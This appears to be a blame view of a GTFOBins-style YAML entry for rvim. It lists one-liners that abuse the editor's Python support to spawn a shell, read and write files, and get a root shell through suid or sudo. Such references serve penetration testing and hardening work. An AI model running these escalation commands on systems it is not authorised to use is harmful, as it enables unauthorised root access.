2018-12-03 14:06:41 +01:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
shell:
|
2018-12-03 15:45:16 +01:00
|
|
|
- description: This requires that `rvim` is compiled with Python support.
|
2018-12-03 15:43:38 +01:00
|
|
|
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
2018-12-03 14:06:41 +01:00
|
|
|
file-write:
|
2018-12-03 14:15:57 +01:00
|
|
|
- description: This requires that rvim is compiled with Python support.
|
|
|
|
code: |
|
2018-12-03 14:06:41 +01:00
|
|
|
rvim file_to_write
|
|
|
|
iDATA
|
|
|
|
^[
|
|
|
|
w
|
|
|
|
file-read:
|
|
|
|
- code: rvim file_to_read
|
|
|
|
suid:
|
2018-12-03 15:45:16 +01:00
|
|
|
- description: This requires that `rvim` is compiled with Python support.
|
2018-12-03 15:55:12 +01:00
|
|
|
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
2018-12-03 14:06:41 +01:00
|
|
|
sudo:
|
2018-12-03 15:45:16 +01:00
|
|
|
- description: This requires that `rvim` is compiled with Python support.
|
2018-12-03 15:43:38 +01:00
|
|
|
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
2018-12-03 14:06:41 +01:00
|
|
|
---
|